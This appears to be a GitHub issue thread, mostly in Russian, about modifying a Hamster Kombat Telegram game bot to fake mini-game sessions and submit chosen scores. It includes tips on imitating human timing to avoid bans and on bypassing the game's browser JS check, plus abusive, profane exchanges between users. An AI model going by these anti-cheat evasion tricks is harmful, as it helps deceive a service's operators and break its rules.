так он и не должен, ну подумай, ты когда играешь в игру руками, можешь в этот момент купить карту? что такое для хомяка простой в 20-30 минут? не особо то и много, постоял потом купил все карты и все равно уходит в спячку на 2 часа. Через два часа заходит и все повторяется. В этом и суть

Так он же в этот момент спит и уже не играет и это равносильно тому что ты физически также ничего не делаешь.

Он начинает игру:
await start_daily_mini_game(http_client=http_client, miniGameId=daily_mini_game_name)

logger.info(f"{self.session_name} | Sleep <lw>{game_sleep_time}s</lw> in Mini Game")

Потом "играет" в нее указанное время:
await asyncio.sleep(delay=game_sleep_time)
И только потом выходит с выиграшем:
profile_data, daily_mini_game = await claim_daily_mini_game(http_client=http_client,
                                                            cipher=encoded_body,
                                                            miniGameId=daily_mini_game_name)

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) and which one file is more suitable (GameClaimed.zip or Game20min.zip) ??

GameClaimed.zip - выглядит как робот (собирает все монеты из игры) Game20min.zip - имитирует игру человека (за 24 часа может и не собрать все монеты).

Всёравно в Game20min.zip не покупает карты во время спячки

так он и не должен, ну подумай, ты когда играешь в игру руками, можешь в этот момент купить карту? что такое для хомяка простой в 20-30 минут? не особо то и много, постоял потом купил все карты и все равно уходит в спячку на 2 часа. Через два часа заходит и все повторяется. В этом и суть

Так он же в этот момент спит и уже не играет и это равносильно тому что ты физически также ничего не делаешь.

Да что ж ты такой .... Бот как будто не спит . Бот как будто играет . Воспринимай это так . Бот не спит 20 минут а как будто играет .

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) and which one file is more suitable (GameClaimed.zip or Game20min.zip) ??

GameClaimed.zip - looks like a robot (collects all the coins from the game) Game20min.zip - imitates a human game (may not collect all the coins in 24 hours).

Anyway, Game20min.zip doesn't buy cards during hibernation

well he shouldn't, well think about it, when you play the game with your hands, can you buy a card at that moment? what is 20-30 minutes of downtime for a hamster? not really much, he stood there then bought all the cards and still goes into hibernation for 2 hours. After two hours he comes in and everything repeats. That's the point

But at this moment he is sleeping and no longer playing, and this is equivalent to the fact that you are also physically doing nothing.

What are you like... The bot doesn't seem to be sleeping. The bot seems to be playing. Think of it this way. The bot doesn't sleep for 20 minutes but seems to be playing.

It's just like a little precaution from being banned, you u want to take all profit at once u can.

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) and which one file is more suitable (GameClaimed.zip or Game20min.zip) ??

GameClaimed.zip - looks like a robot (collects all the coins from the game) Game20min.zip - imitates a human game (may not collect all the coins in 24 hours).

Anyway, Game20min.zip doesn't buy cards during hibernation

well he shouldn't, well think about it, when you play the game with your hands, can you buy a card at that moment? what is 20-30 minutes of downtime for a hamster? not really much, he stood there then bought all the cards and still goes into hibernation for 2 hours. After two hours he comes in and everything repeats. That's the point

But at this moment he is sleeping and no longer playing, and this is equivalent to the fact that you are also physically doing nothing.

What are you like... The bot doesn't seem to be sleeping. The bot seems to be playing. Think of it this way. The bot doesn't sleep for 20 minutes but seems to be playing.

It's just like a little precaution from being banned, you u want to take all profit at once u can.

game_sleep_time = {
"Candles": randint(12, 26),
"Tiles": randint(1200, 1800),
}
max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
"Candles": 0,
"Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}
How do I determine the appropriate time of passage and percentage of profit received? Also, what is the difference between 0.1 and 0.2?

max_points = 5000000 * 172800 / (РРН * 28.8)

Версию которую я выложил ранее - рабочая.
Но давайте доделаем версию и с разовым прохождением игры (не в цикле) за один заход бота в игру.

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:

HamsterKombatBot-main_GameClaimed.zip

Версия когда бот играет 20-30 минут и забирает 4кк..5кк монет за игру:

HamsterKombatBot-main_Game5M.zip
У меня уже игра пройдена, проверить пока не смог.

Минус конечно в том что во время того как выполнилась мини игра идёт время сна game_sleep_time = { "Candles"..... , "Tiles".....,} и в этот момент не покупаются карты. А если будет спать 20-30 минут потом выполнять игру будучи занят этим процессом циклично пока не кончится количество поинтов в игре, то и покупки карт будут стоять

Физически руками нет возможности качать карты пока играешь в игру, а мы говорим про версию, которая более человеческая

Было бы хорошо если бы пока мини игра стоит на sleep он покупал карты и так чередовал

Также было бы хорошо если бы в эту примерную формулу max_points = 50000 * 172800 / (PPH * 28.8) брал значение PPH прибыли в час автоматически

В версии Game5M это реализовано
Вопрос один (к тем кто знает), может кто подскажет, если у игрока, например, прибыль в час 100к, значит максимальное количество монет которое можно собрать с игры 2.8кк, то если в игре игрок наберет 5М монет что произойдет? Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?
Я сейчас это никак не учитываю:

max_points = int(5000000 * daily_mini_game.get('maxPoints', 0) / (earn_on_hour * 28.8))

score_per_game = {

    "Candles": 0,

    "Tiles": randint(int(max_points * 0.8), max_points),

}

У меня просто один аккаунт с прибылью 7.5кк и проверить данный ньюанс возможности нет.
Предложения по расчету выиграша открыты.
@Sher455 @xauspro @kyt3

Закинул твой файли с 5м и такую ошыбку выдает

FIXED Архив обновлен

Я отталкивался от логики 2 points per second by @yurii-zadryhun сам не проверял, просто доверился, так как чутка задолбался плавать в этих хомяках). Моя логика проста: в конце цикла есть слип, я ставлю свой в час в начале. Если есть карты которые я хочу купить - этот слип ставится в минимально найденный куллдаун. Затем оттапываюсь, после прохожу одну игру на ключи минусуя при этом все слипы. Если время осталось - прохожу Tiles оставшееся время, если нет - в начало цикла. А если осталось время и Tiles пройден - тогда бот может позволить себе поспать.
Мой гавнокод(не совсем мой) тут если тебе интересно:  https://github.com/kyt3/Hamster-Kombat-auto-farming-bot/commits/main/

max_points = 5000000 * 172800 / (РРН * 28.8)

Версию которую я выложил ранее - рабочая.

Но давайте доделаем версию и с разовым прохождением игры (не в цикле) за один заход бота в игру.

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:

HamsterKombatBot-main_GameClaimed.zip

Версия когда бот играет 20-30 минут и забирает 4кк..5кк монет за игру:

HamsterKombatBot-main_Game5M.zip

У меня уже игра пройдена, проверить пока не смог.

Минус конечно в том что во время того как выполнилась мини игра идёт время сна game_sleep_time = { "Candles"..... , "Tiles".....,} и в этот момент не покупаются карты. А если будет спать 20-30 минут потом выполнять игру будучи занят этим процессом циклично пока не кончится количество поинтов в игре, то и покупки карт будут стоять

Физически руками нет возможности качать карты пока играешь в игру, а мы говорим про версию, которая более человеческая

Было бы хорошо если бы пока мини игра стоит на sleep он покупал карты и так чередовал

Также было бы хорошо если бы в эту примерную формулу max_points = 50000 * 172800 / (PPH * 28.8) брал значение PPH прибыли в час автоматически

В версии Game5M это реализовано

Вопрос один (к тем кто знает), может кто подскажет, если у игрока, например, прибыль в час 100к, значит максимальное количество монет которое можно собрать с игры 2.8кк, то если в игре игрок наберет 5М монет что произойдет? Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?

Я сейчас это никак не учитываю:

max_points = int(5000000 * daily_mini_game.get('maxPoints', 0) / (earn_on_hour * 28.8))

score_per_game = {

"Candles": 0,

"Tiles": randint(int(max_points * 0.8), max_points),

}

У меня просто один аккаунт с прибылью 7.5кк и проверить данный ньюанс возможности нет.

Предложения по расчету выиграша открыты.

@Sher455 @xauspro @kyt3

Закинул твой файли с 5м и такую ошыбку выдает

FIXED Архив обновлен

Я отталкивался от логики 2 points per second by @yurii-zadryhun сам не проверял, просто доверился(за что спасибо всем кто это реверсит), так как чутка задолбался плавать в этих хомяках). Моя логика проста: в конце цикла есть слип, я ставлю свой в час в начале. Если есть карты которые я хочу купить - этот слип ставится в минимально найденный куллдаун. Затем оттапываюсь, после прохожу одну игру на ключи минусуя при этом все слипы. Если время осталось - прохожу Tiles оставшееся время, если нет - в начало цикла. А если осталось время и Tiles пройден - тогда бот может позволить себе поспать.
Мой гавнокод(не совсем мой) тут если тебе интересно:  https://github.com/kyt3/Hamster-Kombat-auto-farming-bot/commits/main/

Можешь показать свой файл .env непонял некоторые параметры как заполнять, ошибку выдает

В чем может быть причина 400 ошибки? уже и удалял бота и сессии новые делал, все равно

Вы можете не тегать целые ветки, по 27 сообщений...

max_points = 5000000 * 172800 / (РРН * 28.8)

Версию которую я выложил ранее - рабочая.

Но давайте доделаем версию и с разовым прохождением игры (не в цикле) за один заход бота в игру.

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:

HamsterKombatBot-main_GameClaimed.zip

Версия когда бот играет 20-30 минут и забирает 4кк..5кк монет за игру:

HamsterKombatBot-main_Game5M.zip

У меня уже игра пройдена, проверить пока не смог.

Минус конечно в том что во время того как выполнилась мини игра идёт время сна game_sleep_time = { "Candles"..... , "Tiles".....,} и в этот момент не покупаются карты. А если будет спать 20-30 минут потом выполнять игру будучи занят этим процессом циклично пока не кончится количество поинтов в игре, то и покупки карт будут стоять

Физически руками нет возможности качать карты пока играешь в игру, а мы говорим про версию, которая более человеческая

Было бы хорошо если бы пока мини игра стоит на sleep он покупал карты и так чередовал

Также было бы хорошо если бы в эту примерную формулу max_points = 50000 * 172800 / (PPH * 28.8) брал значение PPH прибыли в час автоматически

В версии Game5M это реализовано

Вопрос один (к тем кто знает), может кто подскажет, если у игрока, например, прибыль в час 100к, значит максимальное количество монет которое можно собрать с игры 2.8кк, то если в игре игрок наберет 5М монет что произойдет? Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?

Я сейчас это никак не учитываю:

max_points = int(5000000 * daily_mini_game.get('maxPoints', 0) / (earn_on_hour * 28.8))

score_per_game = {

"Candles": 0,

"Tiles": randint(int(max_points * 0.8), max_points),

}

У меня просто один аккаунт с прибылью 7.5кк и проверить данный ньюанс возможности нет.

Предложения по расчету выиграша открыты.

@Sher455 @xauspro @kyt3

Закинул твой файли с 5м и такую ошыбку выдает

FIXED Архив обновлен

Я отталкивался от логики 2 points per second by @yurii-zadryhun сам не проверял, просто доверился(за что спасибо всем кто это реверсит), так как чутка задолбался плавать в этих хомяках). Моя логика проста: в конце цикла есть слип, я ставлю свой в час в начале. Если есть карты которые я хочу купить - этот слип ставится в минимально найденный куллдаун. Затем оттапываюсь, после прохожу одну игру на ключи минусуя при этом все слипы. Если время осталось - прохожу Tiles оставшееся время, если нет - в начало цикла. А если осталось время и Tiles пройден - тогда бот может позволить себе поспать.
Мой гавнокод(не совсем мой) тут если тебе интересно:  https://github.com/kyt3/Hamster-Kombat-auto-farming-bot/commits/main/

Можешь показать свой файл .env непонял некоторые параметры как заполнять, ошибку выдает

Исправил реадми с енв примером, теперь должно работать. Не думал, что ты прямо его запускать будешь, думал код посмотришь и все)

В чем может быть причина 400 ошибки? уже и удалял бота и сессии новые делал, все равно

Сорри за токсичность, но https://google-poisk-vmesto-tebya.ru/?q=http 400 error Как показал анализ у тебя неверный запрос, посмотри как другие делают или открой хамстер в браузере обойдя проверку в JS подменив прототип индексоф, тоже погуглишь - найдешь. Причем тут сессии? Причем тут удаление бота? Возможно после апдейта кто-то сделал ошибку в запросе, ну тогда отключай проблемный участок и жди апдейта, если не умеешь кодить.

Я знаю, что такое 4-ое ошибки) Причем тут сессии и удаление бота? потому что выше советовали и якобы помогало при такой же ошибке.

В чем может быть причина 400 ошибки? уже и удалял бота и сессии новые делал, все равно

Сорри за токсичность, но https://google-poisk-vmesto-tebya.ru/?q=http 400 error Как показал анализ у тебя неверный запрос, посмотри как другие делают или открой хамстер в браузере обойдя проверку в JS подменив прототип индексоф, тоже погуглишь - найдешь. Причем тут сессии? Причем тут удаление бота? Возможно после апдейта кто-то сделал ошибку в запросе, ну тогда отключай проблемный участок и жди апдейта, если не умеешь кодить.

Я знаю, что такое 4-ое ошибки) Причем тут сессии и удаление бота? потому что выше советовали и якобы помогало при такой же ошибке.

Ну а подумать, раз знаешь... Как удаление и клонирование репозитория решить проблему 400 ошибки если код будет одинаковый? Запрос резко изменится? Это даже в теории звучит как бред, только код менять. Вас тут набралось таких... Весь issue испортили, это теперь форум, ебт.

В чем может быть причина 400 ошибки? уже и удалял бота и сессии новые делал, все равно

Сорри за токсичность, но https://google-poisk-vmesto-tebya.ru/?q=http 400 error Как показал анализ у тебя неверный запрос, посмотри как другие делают или открой хамстер в браузере обойдя проверку в JS подменив прототип индексоф, тоже погуглишь - найдешь. Причем тут сессии? Причем тут удаление бота? Возможно после апдейта кто-то сделал ошибку в запросе, ну тогда отключай проблемный участок и жди апдейта, если не умеешь кодить.

Я знаю, что такое 4-ое ошибки) Причем тут сессии и удаление бота? потому что выше советовали и якобы помогало при такой же ошибке.

Ну а подумать, раз знаешь... Как удаление и клонирование репозитория может решить проблему 400 ошибки если код будет одинаковый? Запрос резко изменится? Это даже в теории звучит как бред, только код менять. Вас тут набралось таких... Весь issue испортили, это теперь форум, ебт.

Я не знаю с чем была связана эта ошибка, я ничего не менял) И вот сейчас всё заработало...

Блд, я тебе личный диагност? Или волшебник? Тут 3 архива из-за таких как вы, мне каждый разбирать код смотреть, чтобы понять и просвещать тебя? Порадуйся и оставь топик в покое плз.

Блд, я тебе личный диагност? Или волшебник? Тут 3 архива из-за таких как вы, мне каждый разбирать код смотреть, чтобы понять и просвещать тебя? Порадуйся и оставь топик в покое плз.

Скорее, ты его личный токсик

Блд, я тебе личный диагност? Или волшебник? Тут 3 архива из-за таких как вы, мне каждый разбирать код смотреть, чтобы понять и просвещать тебя? Порадуйся и оставь топик в покое плз.

зачем ты меня заквотил, утверждая и пытаясь выставить меня дураком ничего не понимающим, доказывая, что ошибка на моей стороне, сейчас я тебе доказываю, что она произвольно срабатывает и ты сливаешься, как последний даун)) Так что стяни ... и нырни обратно под шконку)))

У кого-нибудь с игры сегодня галочка слетала или нет? Игра одноразовая была?

пока не слетела. тоже сижу жду)

пока не слетела. тоже сижу жду)

Ну похоже, что мы её "прошли".

обидно. думал, каждый день буду по 200кк лутать хд

обидно. думал, каждый день буду по 200кк лутать хд

Лол, бота на сутки оставь накапает почти также. Жалко электричество с пк? С термукса на телефоне запусти.

обидно. думал, каждый день буду по 200кк лутать хд

Лол, бота на сутки оставь накапает почти также. Жалко электричество с пк? С термукса на телефоне запусти.

Нет, хотелось принципиально такой бонус в довесок к круглосуточному крану.

Парни api id i api hash вводить надо в .env-example ? Просто ошибка срабатывает и бот не работает.. Полностью дирректорию зип файлом скачал

Парни api id i api hash вводить надо в .env-example ? Просто ошибка срабатывает и бот не работает.. Полностью дирректорию зип файлом скачал

нет. сначала запускаешь install.bat, он создаст кучу всего, в том числе и .env файл, вот в него и пиши

Блд, я тебе личный диагност? Или волшебник? Тут 3 архива из-за таких как вы, мне каждый разбирать код смотреть, чтобы понять и просвещать тебя? Порадуйся и оставь топик в покое плз.

зачем ты меня заквотил, утверждая и пытаясь выставить меня дураком ничего не понимающим, доказывая, что ошибка на моей стороне, сейчас я тебе доказываю, что она произвольно срабатывает и ты сливаешься, как последний даун))
Чсвшная девочка, пытающаяся выставить себя умнее, выше других "такие, как вы" блд))), по сути ничего не представляющая))
Так что стяни ... и нырни обратно под шконку)))

Так потому что ты дурак, у тебя даже форка нет, ты гитом пользоваться не можешь, логи до и после не показываешь "У меня не работает" ахуеть и че? Ты как докажешь, что ничего в конфиге не менял? Не бывает так, и то что ты последний даун не знаешь нихуя как программировать и как устроены программы это факт. Почему я что-то тебе должен? Либо я хочу что-то делать либо если кому-то надо он платит, ты же бестолочь даже после того как показали способ как не можешь повторить, разобраться и исправить баги, которые первопроходец оставил, а они будут всегда, потому что люди редко пишут код без багов с первого раза. Хочешь диагностику и есть инфа - плати или иди на хуй.

Скиньте пожалуйста бота на Hexa Puzzle

OPENED UP AGAIN...

Мини игры у всех перестали работать

У кого-нибудь с игры сегодня галочка слетала или нет? Игра одноразовая была?

У меня слетела.

Мини игры у всех перестали работать?  и галочка слетела

да, такая же тема

Все работает, но общее время прохождения теперь равна времени вашей лучшей попытки сбора всех бонусов

repo: shamhi/HamsterKombatBot